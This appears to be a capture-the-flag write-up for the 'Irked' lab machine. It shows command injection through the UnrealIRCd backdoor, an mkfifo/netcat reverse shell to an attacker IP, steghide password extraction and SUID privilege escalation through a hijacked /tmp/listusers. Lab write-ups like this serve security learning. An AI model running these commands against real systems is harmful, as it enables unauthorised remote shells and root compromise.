Irked Writeup

0x00 TODO
Run LinEnum.sh and see whether it finds /home/djmardov/.backup.
0x01 Reconnaissance

0x02 Enumeration
nmap -d -p6697 --script=irc-unrealircd-backdoor.nse 10.10.10.117
The scan finds the unrealircd backdoor.

Sending a command with nc is enough to trigger the backdoor here. Does this require a login? Still to confirm.
``` bash
echo "AB; ping -c 4 10.10.14.21;"|nc 10.10.10.117 6697
```
0x03 Foothold
Use the unrealircd backdoor to execute a reverse shell command and get a shell as the ordinary user ircd.
nmap -d -p6697 --script=irc-unrealircd-backdoor.nse --script-args=irc-unrealircd-backdoor.command='rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.21 4444 >/tmp/f &' 10.10.10.117

ircd has no user flag. I find the djmardov user's ./documents directory but lack permission to open user.txt. sudo -l offers no way to switch users. Running ls -la in documents reveals a hidden .backup file. Its contents include xxx step backup pw, which looks like a password. It does not work with ssh djmardov@10.10.10.117. A Google search points to a tool called stephide.
stephide hides files inside images and audio.
stephide extract -sf irked.jpg -p password # 提取文件
steghide embed -ef secret.txt -cf irked.jpg # 隐藏文件,自己要验一下
# 会被提示输入口令
Enter passphrase:Re-Enter passphrase:embedding "secret.txt" in "irked.jpg"... done
Extraction produces pass.txt. Its password works with ssh djmardov@10.10.10.117, giving us user.txt.
0x04 Privilege escalation
1. Apache JSP webshell
Check whether the html directory is writable. Since apache starts as root here, a web shell would give us root. But /var/www/html is not writable.
2. SUID
2.1, exim4
exim4 - 4.84-2 appears to have a privilege escalation vulnerability. It turns out to be a rabbit hole. Annoying.

2.2, listusers
Try another route, and privilege escalation is straightforward.

The messagelistusers not foundis what draws attention to the execution of/tmp/listusers.
What if the file existed and there were no error? How would we know which file was being run?
>
The proper approach is to encode viewuser as b64 and bring it back to the local machine for analysis.
``` bash
# 靶机二进制文件转 b64
base64 -w /usr/bin/viewuser > b.64
# 下载到本地解码 b64
base64 -d b.64 > viewuser
chmod +x viewuser
strace ./viewuser # 看里面的执行逻辑 - 姿势1 易于阅读
ltrace ./viewuser # 看里面的执行逻辑 - 姿势2
```
This reveals the exact file being executed:system("/tmp/listusers"). Replace it so it runs/bin/bashinstead.
(image)